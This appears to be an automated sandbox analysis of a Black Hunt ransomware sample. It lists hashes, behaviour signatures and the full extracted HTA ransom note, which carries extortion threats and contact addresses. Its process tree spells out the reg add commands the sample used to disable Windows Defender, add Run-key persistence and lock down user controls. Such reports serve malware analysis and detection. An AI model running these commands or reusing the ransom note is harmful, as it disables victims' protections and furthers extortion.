Analysis

  • max time kernel
    93s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2024, 22:37

General

  • Target

    175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e.exe

  • Size

    707KB

  • MD5

    51e40287ea3eeb227ddfae2485a9ab14

  • SHA1

    511b32b62b76705a0834b534ad652f490af20cc4

  • SHA256

    175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e

  • SHA512

    4e9290439bbdc7d1b43f71db456362e07930b72efe849e5f065b72da37923d1378b7abb7a4a47554ffa6cd5d5202b6bdf71edcd78b09d77d7a9da8e059c0830f

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza118fvnh:6uaTmkZJ+naie5OTamgEoKxLWg3h

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> SjLOrabqj8JOxIYU </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3341) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 9 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e.exe
    "C:\Users\Admin\AppData\Local\Temp\175c726da26189d327d285d85549ceb8be5ef0283b7a4fa9305c888da8a8b12e.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1320
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1768
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
        3⤵
          PID:4596
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
          • Modifies registry class
          PID:3132
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1388
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
          3⤵
          • Modifies registry class
          PID:3468
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3884
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
          3⤵
          • Adds Run key to start application
          PID:5008
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3828
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
          • Modifies registry class
          PID:2152
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2544
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
          3⤵
            PID:1448
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4452
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
            3⤵
            • Modifies Windows Defender Real-time Protection settings
            PID:4908
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2160
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
            3⤵
              PID:408
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:684
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
              3⤵
                PID:4492
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
              2⤵
                PID:3820
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                  3⤵
                    PID:4728
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                  2⤵
                    PID:2100
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:4616
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2632
                      • C:\Windows\system32\reg.exe
                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                        3⤵
                          PID:2436
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                        2⤵
                          PID:4356
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                            3⤵
                              PID:1144
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                            2⤵
                              PID:4048
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                3⤵
                                  PID:4408
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:3948
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:4304
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:712
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:3436
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                        2⤵
                                          PID:3480
